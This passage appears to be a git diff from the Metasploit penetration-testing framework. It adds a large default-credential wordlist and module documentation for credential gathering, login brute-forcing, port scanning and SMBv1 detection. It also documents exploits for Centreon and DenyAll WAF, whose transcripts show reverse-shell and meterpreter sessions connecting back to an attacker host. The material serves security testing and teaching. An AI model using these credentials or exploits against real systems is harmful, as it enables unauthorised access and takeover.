operator $chwarzepumpe
|
|
||||||
operator operator
|
|
||||||
op op
|
op op
|
||||||
op operator
|
op operator
|
||||||
|
operator
|
||||||
|
operator $chwarzepumpe
|
||||||
|
operator 1234
|
||||||
|
operator operator
|
||||||
|
oracle oracle
|
||||||
patrol patrol
|
patrol patrol
|
||||||
PBX PBX
|
|
||||||
PFCUser 240653C9467E45
|
|
||||||
piranha piranha
|
piranha piranha
|
||||||
piranha q
|
piranha q
|
||||||
pmd
|
pmd
|
||||||
poll tech
|
poll tech
|
||||||
Polycom SpIp
|
|
||||||
PRODDTA PRODDTA
|
|
||||||
PSEAdmin $secure$
|
|
||||||
public
|
public
|
||||||
public public
|
public public
|
||||||
radware radware
|
radware radware
|
||||||
|
@ -331,7 +332,89 @@ readonly lucenttech2
|
||||||
readwrite lucenttech1
|
readwrite lucenttech1
|
||||||
recovery recovery
|
recovery recovery
|
||||||
replicator replicator
|
replicator replicator
|
||||||
RMUser1 password
|
ro ro
|
||||||
|
root
|
||||||
|
root 000000
|
||||||
|
root 1111
|
||||||
|
root 1234
|
||||||
|
root 12345
|
||||||
|
root 123456
|
||||||
|
root 1234567890
|
||||||
|
root 1234qwer
|
||||||
|
root 123qwe
|
||||||
|
root 1q2w3e4r5
|
||||||
|
root 3ep5w2u
|
||||||
|
root 54321
|
||||||
|
root 666666
|
||||||
|
root 7ujMko0admin
|
||||||
|
root 7ujMko0vizxv
|
||||||
|
root 888888
|
||||||
|
root Admin
|
||||||
|
root Cisco
|
||||||
|
root GMB182
|
||||||
|
root LSiuY7pOmZG2s
|
||||||
|
root Mau'dib
|
||||||
|
root PASSWORD
|
||||||
|
root ROOT500
|
||||||
|
root Serv4EMC
|
||||||
|
root Zte521
|
||||||
|
root abc123
|
||||||
|
root admin
|
||||||
|
root admin1234
|
||||||
|
root admin_1
|
||||||
|
root ahetzip8
|
||||||
|
root alpine
|
||||||
|
root anko
|
||||||
|
root antslq
|
||||||
|
root ascend
|
||||||
|
root attack
|
||||||
|
root avtech
|
||||||
|
root b120root
|
||||||
|
root bananapi
|
||||||
|
root blender
|
||||||
|
root calvin
|
||||||
|
root changeme
|
||||||
|
root cms500
|
||||||
|
root comcom
|
||||||
|
root coolphoenix579
|
||||||
|
root davox
|
||||||
|
root default
|
||||||
|
root dreambox
|
||||||
|
root fivranne
|
||||||
|
root ggdaseuaimhrke
|
||||||
|
root hi3518
|
||||||
|
root iDirect
|
||||||
|
root ikwb
|
||||||
|
root ikwd
|
||||||
|
root jauntech
|
||||||
|
root juantech
|
||||||
|
root jvbzd
|
||||||
|
root klv123
|
||||||
|
root klv1234
|
||||||
|
root letacla
|
||||||
|
root maxided
|
||||||
|
root oelinux123
|
||||||
|
root openssh
|
||||||
|
root openvpnas
|
||||||
|
root orion99
|
||||||
|
root pa55w0rd
|
||||||
|
root pass
|
||||||
|
root password
|
||||||
|
root permit
|
||||||
|
root realtek
|
||||||
|
root root
|
||||||
|
root tini
|
||||||
|
root tslinux
|
||||||
|
root user
|
||||||
|
root vizxv
|
||||||
|
root wyse
|
||||||
|
root xc3511
|
||||||
|
root xmhdipc
|
||||||
|
root zlxx.
|
||||||
|
root zte9x15
|
||||||
|
router router
|
||||||
|
rw rw
|
||||||
|
rwa rwa
|
||||||
sa
|
sa
|
||||||
scmadmin scmchangeme
|
scmadmin scmchangeme
|
||||||
scout scout
|
scout scout
|
||||||
|
@ -346,44 +429,55 @@ smc smcadmin
|
||||||
spcl 0
|
spcl 0
|
||||||
storwatch specialist
|
storwatch specialist
|
||||||
stratacom stratauser
|
stratacom stratauser
|
||||||
|
su super
|
||||||
super 5777364
|
super 5777364
|
||||||
|
super super
|
||||||
|
super surt
|
||||||
|
super.super
|
||||||
|
super.super master
|
||||||
superadmin secret
|
superadmin secret
|
||||||
superman 21241036
|
superman 21241036
|
||||||
superman talent
|
superman talent
|
||||||
super super
|
|
||||||
super.super
|
|
||||||
super.super master
|
|
||||||
super surt
|
|
||||||
superuser
|
superuser
|
||||||
superuser 123456
|
superuser 123456
|
||||||
superuser admin
|
superuser admin
|
||||||
supervisor PlsChgMe!
|
supervisor PlsChgMe!
|
||||||
supervisor PlsChgMe1
|
supervisor PlsChgMe1
|
||||||
supervisor supervisor
|
supervisor supervisor
|
||||||
|
supervisor zyad1234
|
||||||
|
support 123
|
||||||
|
support 1234
|
||||||
|
support 12345
|
||||||
|
support 123456
|
||||||
|
support admin
|
||||||
support h179350
|
support h179350
|
||||||
|
support login
|
||||||
support support
|
support support
|
||||||
support supportpw
|
support supportpw
|
||||||
su super
|
support zlxx.
|
||||||
Sweex Mysweex
|
sys uplink
|
||||||
sysadm Admin
|
sysadm Admin
|
||||||
|
sysadm PASS
|
||||||
sysadm anicust
|
sysadm anicust
|
||||||
|
sysadm sysadm
|
||||||
sysadmin PASS
|
sysadmin PASS
|
||||||
sysadmin password
|
sysadmin password
|
||||||
sysadmin sysadmin
|
sysadmin sysadmin
|
||||||
sysadm PASS
|
system change_on_install
|
||||||
sysadm sysadm
|
system password
|
||||||
SYSADM sysadm
|
system sys
|
||||||
sys uplink
|
system/manager sys/change_on_install
|
||||||
target password
|
target password
|
||||||
teacher password
|
teacher password
|
||||||
tech
|
tech
|
||||||
tech ANYCOM
|
tech ANYCOM
|
||||||
tech field
|
|
||||||
tech ILMI
|
tech ILMI
|
||||||
|
tech field
|
||||||
tech tech
|
tech tech
|
||||||
telco telco
|
telco telco
|
||||||
telecom telecom
|
telecom telecom
|
||||||
tellabs tellabs#1
|
tellabs tellabs#1
|
||||||
|
telnet telnet
|
||||||
temp1 password
|
temp1 password
|
||||||
test test
|
test test
|
||||||
tiara tiaranet
|
tiara tiaranet
|
||||||
|
@ -391,19 +485,17 @@ tiger tiger123
|
||||||
topicalt password
|
topicalt password
|
||||||
topicnorm password
|
topicnorm password
|
||||||
topicres password
|
topicres password
|
||||||
|
ubnt ubnt
|
||||||
user
|
user
|
||||||
USERID PASSW0RD
|
user 123456
|
||||||
user pass
|
user pass
|
||||||
user password
|
user password
|
||||||
User Password
|
|
||||||
user public
|
user public
|
||||||
user tivonpw
|
user tivonpw
|
||||||
user user
|
user user
|
||||||
vcr NetVCR
|
vcr NetVCR
|
||||||
VNC winterm
|
|
||||||
volition volition
|
volition volition
|
||||||
vt100 public
|
vt100 public
|
||||||
VTech VTech
|
|
||||||
webadmin 1234
|
webadmin 1234
|
||||||
webadmin webadmin
|
webadmin webadmin
|
||||||
websecadm changeme
|
websecadm changeme
|
||||||
|
@ -412,4 +504,3 @@ wradmin trancell
|
||||||
write private
|
write private
|
||||||
xd xd
|
xd xd
|
||||||
xxx cascade
|
xxx cascade
|
||||||
ZXDSL ZXDSL
|
|
||||||
|
|
|
@ -4,7 +4,7 @@ services:
|
||||||
image: metasploit
|
image: metasploit
|
||||||
build:
|
build:
|
||||||
context: .
|
context: .
|
||||||
dockerfile: ./docker/Dockerfile
|
dockerfile: ./Dockerfile
|
||||||
environment:
|
environment:
|
||||||
DATABASE_URL: postgres://postgres@db:5432/msf
|
DATABASE_URL: postgres://postgres@db:5432/msf
|
||||||
links:
|
links:
|
||||||
|
|
|
@ -0,0 +1,53 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module retrieves user credentials from BearWare TeamTalk.
|
||||||
|
|
||||||
|
Valid administrator credentials are required.
|
||||||
|
|
||||||
|
Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired.
|
||||||
|
|
||||||
|
This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893.
|
||||||
|
|
||||||
|
The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5).
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Do: `use auxiliary/gather/teamtalk_creds`
|
||||||
|
3. Do: `set rhost <RHOST>`
|
||||||
|
4. Do: `set rport <RPORT>` (default: `10333`)
|
||||||
|
5. Do: `set username <USERNAME>` (default: `admin`)
|
||||||
|
6. Do: `set password <PASSWORD>` (default: `admin`)
|
||||||
|
7. Do: `run`
|
||||||
|
8. You should get credentials
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2)
|
||||||
|
[+] 172.16.191.166:10333 - Authenticated successfully
|
||||||
|
[+] 172.16.191.166:10333 - User is an administrator
|
||||||
|
[*] 172.16.191.166:10333 - Found 5 users
|
||||||
|
|
||||||
|
TeamTalk User Credentials
|
||||||
|
=========================
|
||||||
|
|
||||||
|
Username Password Type
|
||||||
|
-------- -------- ----
|
||||||
|
debbie 1234567890 1
|
||||||
|
murphy 934txs 2
|
||||||
|
quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2
|
||||||
|
sparks password 2
|
||||||
|
stormy 1
|
||||||
|
|
||||||
|
[+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,59 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module allows you to authenticate to Inedo BuildMaster, an application release automation tool.
|
||||||
|
The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide)
|
||||||
|
|
||||||
|
[Inedo website](http://inedo.com/)
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: ```use auxiliary/scanner/http/buildmaster_login```
|
||||||
|
2. Do: ```set RHOSTS [IP]```
|
||||||
|
3. Do: ```set RPORT [PORT]```
|
||||||
|
4. Do: Set credentials
|
||||||
|
5. Do: ```run```
|
||||||
|
6. You should see the module attempting to log in.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Attempt to login with the default credentials.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/scanner/http/buildmaster_login
|
||||||
|
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
|
||||||
|
RHOSTS => 10.0.0.39
|
||||||
|
msf auxiliary(buildmaster_login) > run
|
||||||
|
|
||||||
|
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
|
||||||
|
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
|
||||||
|
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(buildmaster_login) >
|
||||||
|
```
|
||||||
|
|
||||||
|
### Brute force with credentials from file.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/scanner/http/buildmaster_login
|
||||||
|
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
|
||||||
|
RHOSTS => 10.0.0.39
|
||||||
|
msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt
|
||||||
|
USERPASS_FILE => ~/BuildMasterCreds.txt
|
||||||
|
msf auxiliary(buildmaster_login) > run
|
||||||
|
|
||||||
|
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
|
||||||
|
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"test"
|
||||||
|
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"test"
|
||||||
|
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"wrong"
|
||||||
|
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"wrong"
|
||||||
|
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
|
||||||
|
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(buildmaster_login) >
|
||||||
|
```
|
|
@ -17,7 +17,7 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862
|
||||||
|
|
||||||
1. Make sure Cisco Firepower Management console's HTTPS service is running
|
1. Make sure Cisco Firepower Management console's HTTPS service is running
|
||||||
2. Start ```msfconsole```
|
2. Start ```msfconsole```
|
||||||
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb
|
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb```
|
||||||
4. ```set RHOSTS [IP]```
|
4. ```set RHOSTS [IP]```
|
||||||
5. Set credentials
|
5. Set credentials
|
||||||
6. ```run```
|
6. ```run```
|
||||||
|
|
|
@ -0,0 +1,30 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
|
||||||
|
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
|
||||||
|
3. Do: ```run```
|
||||||
|
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(cisco_smart_install) > run
|
||||||
|
|
||||||
|
[*] Scanned 57 of 512 hosts (11% complete)
|
||||||
|
[*] Scanned 105 of 512 hosts (20% complete)
|
||||||
|
[*] Scanned 157 of 512 hosts (30% complete)
|
||||||
|
[*] Scanned 212 of 512 hosts (41% complete)
|
||||||
|
[*] Scanned 256 of 512 hosts (50% complete)
|
||||||
|
[*] Scanned 310 of 512 hosts (60% complete)
|
||||||
|
[*] Scanned 368 of 512 hosts (71% complete)
|
||||||
|
[*] Scanned 413 of 512 hosts (80% complete)
|
||||||
|
[*] Scanned 466 of 512 hosts (91% complete)
|
||||||
|
[+] a.b.c.d:4786 - Fingerprinted the Cisco Smart Install protocol
|
||||||
|
[*] Scanned 512 of 512 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
|
@ -0,0 +1,59 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module will attempt to initiate a TCP/IP connection with ports on the victim machine. It is this done by sending a SYN packet, and if victim replies with a SYN/ACK packet
|
||||||
|
that means the port is open. Then the attacker sends a RST packet, and as a result the victim's machine assumes that there is a communication error.
|
||||||
|
The attacker now knows the state of port without a full tcp connection. Major benefit of TCP SYN scan is that most logging applications do not log the TCP/RST by default.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**PORTS**
|
||||||
|
|
||||||
|
This is the list of TCP ports to test on each host.
|
||||||
|
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
|
||||||
|
options is to scan `1-10000` ports.
|
||||||
|
|
||||||
|
**TIMEOUT**
|
||||||
|
|
||||||
|
Maximum time to wait for a response. The default value is 500 milliseconds.
|
||||||
|
|
||||||
|
**VERBOSE**
|
||||||
|
|
||||||
|
Gives detailed message about the scan of all the ports. It also shows the
|
||||||
|
ports that were closed.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: `use auxiliary/scanner/portscan/syn`
|
||||||
|
2. Do: `set RHOSTS [IP]`
|
||||||
|
3. Do: `set PORTS [PORTS]`
|
||||||
|
4. Do: `run`
|
||||||
|
5. If any of the TCP ports were open they will be discovered, status will be printed indicating as such.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Metaspliotable 2
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/scanner/portscan/syn
|
||||||
|
msf auxiliary(syn) > set RHOSTS 192.168.45.159
|
||||||
|
RHOSTS => 192.168.45.159
|
||||||
|
msf auxiliary(syn) > set PORTS 1-10000
|
||||||
|
PORTS => 1-10000
|
||||||
|
msf auxiliary(syn) > run
|
||||||
|
[*] TCP OPEN 192.168.45.159:22
|
||||||
|
[*] TCP OPEN 192.168.45.159:23
|
||||||
|
[*] TCP OPEN 192.168.45.159:111
|
||||||
|
[*] TCP OPEN 192.168.45.159:445
|
||||||
|
[*] TCP OPEN 192.168.45.159:512
|
||||||
|
[*] TCP OPEN 192.168.45.159:513
|
||||||
|
[*] TCP OPEN 192.168.45.159:1099
|
||||||
|
[*] TCP OPEN 192.168.45.159:2121
|
||||||
|
[*] TCP OPEN 192.168.45.159:3306
|
||||||
|
[*] TCP OPEN 192.168.45.159:3632
|
||||||
|
[*] TCP OPEN 192.168.45.159:6000
|
||||||
|
[*] TCP OPEN 192.168.45.159:6697
|
||||||
|
[*] TCP OPEN 192.168.45.159:8009
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,71 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module will enumerate open TCP services by performing a full TCP connect on each port. This will establish a complete three-way handshake (SYN -> SYN/ACK -> ACK) on the target port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Any reachable TCP endpoint is a potential target.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**PORTS**
|
||||||
|
|
||||||
|
This is the list of ports to test for TCP Scan on each host.
|
||||||
|
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
|
||||||
|
options is to scan `1-10000` ports.
|
||||||
|
|
||||||
|
**ConnectTimeout**
|
||||||
|
|
||||||
|
This options states the maximum number of seconds to establish a tcp
|
||||||
|
connection. Default value if `10`.
|
||||||
|
|
||||||
|
**VERBOSE**
|
||||||
|
|
||||||
|
Gives detailed message about the scan of all the ports. It also shows the
|
||||||
|
ports that were closed.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Do: ```use auxiliary/scanner/portscan/tcp```
|
||||||
|
2. Do: ```set RHOSTS [IP]```
|
||||||
|
3. Do: ```set PORTS [PORTS]```
|
||||||
|
4. Do: ```run```
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Metaspliotable 2
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/scanner/portscan/tcp
|
||||||
|
msf auxiliary(tcp) > set RHOSTS 192.168.45.159
|
||||||
|
msf auxiliary(tcp) > set PORTS 1-10000
|
||||||
|
msf auxiliary(tcp) > run
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:25 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:21 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:23 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:22 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:53 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:80 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:111 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:139 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:445 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:513 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:514 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:512 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:1099 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:1524 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:2049 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:2121 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:3306 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:3632 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:5432 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:5900 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:6000 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:6667 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:6697 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:8009 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:8180 - TCP OPEN
|
||||||
|
[*] 192.168.45.159: - 192.168.45.159:8787 - TCP OPEN
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
|
@ -0,0 +1,55 @@
|
||||||
|
# Description
|
||||||
|
This module scans for hosts that support the SMBv1 protocol. It works by sending an SMB_COM_NEGOTATE request to each host specified in RHOSTS and claims that it only supports the following SMB dialects:
|
||||||
|
```PC NETWORK PROGRAM 1.0
|
||||||
|
LANMAN1.0
|
||||||
|
Windows for Workgroups 3.1a
|
||||||
|
LM1.2X002
|
||||||
|
LANMAN2.1
|
||||||
|
NT LM 0.12
|
||||||
|
```
|
||||||
|
If the SMB server has SMBv1 enabled it will respond to the request with a dialect selected.
|
||||||
|
If the SMB server does not support SMBv1 a RST will be sent.
|
||||||
|
|
||||||
|
___
|
||||||
|
# Usage
|
||||||
|
|
||||||
|
The following is an example of its usage, where x.x.x.x allows SMBv1 and y.y.y.y does not.
|
||||||
|
|
||||||
|
#### A host that does support SMBv1.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
|
||||||
|
msf auxiliary(smb1) > set RHOSTS x.x.x.x
|
||||||
|
RHOSTS => x.x.x.x
|
||||||
|
msf auxiliary(smb1) > run
|
||||||
|
|
||||||
|
[+] x.x.x.x:445 - x.x.x.x supports SMBv1 dialect.
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(smb1) > services -S x.x.x.x
|
||||||
|
|
||||||
|
Services
|
||||||
|
========
|
||||||
|
|
||||||
|
host port proto name state info
|
||||||
|
---- ---- ----- ---- ----- ----
|
||||||
|
x.x.x.x 445 tcp smb1 open
|
||||||
|
```
|
||||||
|
|
||||||
|
#### A host that does not support SMBv1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
|
||||||
|
msf auxiliary(smb1) > set RHOSTS y.y.y.y
|
||||||
|
RHOSTS => y.y.y.y
|
||||||
|
msf auxiliary(smb1) > run
|
||||||
|
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
___
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
The only option is RHOSTS, which can be specified as a single IP, hostname, or an IP range in CIDR notation or range notation. It can also be set using hosts from the database using ```hosts -R```.
|
|
@ -14,7 +14,7 @@
|
||||||
5. Do: `run`
|
5. Do: `run`
|
||||||
6. You will hopefully see something similar to, followed by a session:
|
6. You will hopefully see something similar to, followed by a session:
|
||||||
|
|
||||||
````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
|
```[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
|
||||||
|
|
||||||
## Options
|
## Options
|
||||||
|
|
||||||
|
|
|
@ -187,7 +187,7 @@ finish
|
||||||
## Scenarios
|
## Scenarios
|
||||||
|
|
||||||
Just a standard run.
|
Just a standard run.
|
||||||
|
```
|
||||||
msf > use exploit/linux/http/centreon_useralias_exec
|
msf > use exploit/linux/http/centreon_useralias_exec
|
||||||
msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
|
msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
|
||||||
payload => cmd/unix/reverse_python
|
payload => cmd/unix/reverse_python
|
||||||
|
|
|
@ -0,0 +1,47 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user.
|
||||||
|
|
||||||
|
It's possible to have trial demo for 15 days at Amazon Marketplace.
|
||||||
|
[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911)
|
||||||
|
|
||||||
|
You just need to follow instruction above URL.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
A successful check of the exploit will look like this:
|
||||||
|
|
||||||
|
- [ ] Start `msfconsole`
|
||||||
|
- [ ] `use use exploit/linux/http/denyall_exec`
|
||||||
|
- [ ] Set `RHOST`
|
||||||
|
- [ ] Set `LHOST`
|
||||||
|
- [ ] Run `check`
|
||||||
|
- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
|
||||||
|
- [ ] Run `exploit`
|
||||||
|
- [ ] **Verify** that you are seeing `iToken` value extraction.
|
||||||
|
- [ ] **Verify** that you are getting `meterpreter` session.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/http/denyall_exec
|
||||||
|
msf exploit(denyall_exec) >
|
||||||
|
msf exploit(denyall_exec) > set RHOST 35.176.123.128
|
||||||
|
RHOST => 35.176.123.128
|
||||||
|
msf exploit(denyall_exec) > set LHOST 35.12.3.3
|
||||||
|
LHOST => 35.12.3.3
|
||||||
|
msf exploit(denyall_exec) > check
|
||||||
|
[*] 35.176.123.128:3001 The target appears to be vulnerable.
|
||||||
|
msf exploit(denyall_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 35.12.3.3:4444
|
||||||
|
[*] Extracting iToken value from unauthenticated accessible endpoint.
|
||||||
|
[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a
|
||||||
|
[*] Trigerring command injection vulnerability with iToken value.
|
||||||
|
[*] Sending stage (40411 bytes) to 35.176.123.128
|
||||||
|
[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300
|
||||||
|
|
||||||
|
meterpreter > pwd
|
||||||
|
/var/log/denyall/reverseproxy
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,131 @@
|
||||||
|
# Vulnerable Application
|
||||||
|
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
|
||||||
|
with tls but without tls-auth), an attacker can create a Docker
|
||||||
|
container with the '/' path mounted with read/write permissions on the
|
||||||
|
host server that is running the Docker container. As the Docker
|
||||||
|
container executes command as uid 0 it is honored by the host operating
|
||||||
|
system allowing the attacker to edit/create files owned by root. This
|
||||||
|
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
|
||||||
|
the host server.
|
||||||
|
|
||||||
|
The Docker image should exist on the target system or be a valid image
|
||||||
|
from hub.docker.com.
|
||||||
|
|
||||||
|
## Docker Engine
|
||||||
|
By default, Docker runs via a non-networked unix socket. It can also
|
||||||
|
optionally communicate using a tcp socket.
|
||||||
|
|
||||||
|
> Warning: Changing the default docker daemon binding to a TCP port or
|
||||||
|
Unix docker user group will increase your security risks by allowing
|
||||||
|
non-root users to gain root access on the host. Make sure you control
|
||||||
|
access to docker. If you are binding to a TCP port, anyone with access
|
||||||
|
to that port has full Docker access; so it is not advisable on an open
|
||||||
|
network. -- [from docs.docker.com][1]
|
||||||
|
|
||||||
|
This module was tested with Debian 9 and CentOS 7 as the host operating
|
||||||
|
system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
|
||||||
|
|
||||||
|
### Install Debian 9
|
||||||
|
First [install Debian 9][2] with default task selection. This includes
|
||||||
|
the "*standard system utilities*".
|
||||||
|
|
||||||
|
### Install Docker
|
||||||
|
Then install a supported version of [Docker on Debian system][3].
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# TL;DR
|
||||||
|
apt-get remove docker docker-engine
|
||||||
|
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
|
||||||
|
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
|
||||||
|
apt-key fingerprint 0EBFCD88
|
||||||
|
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
|
||||||
|
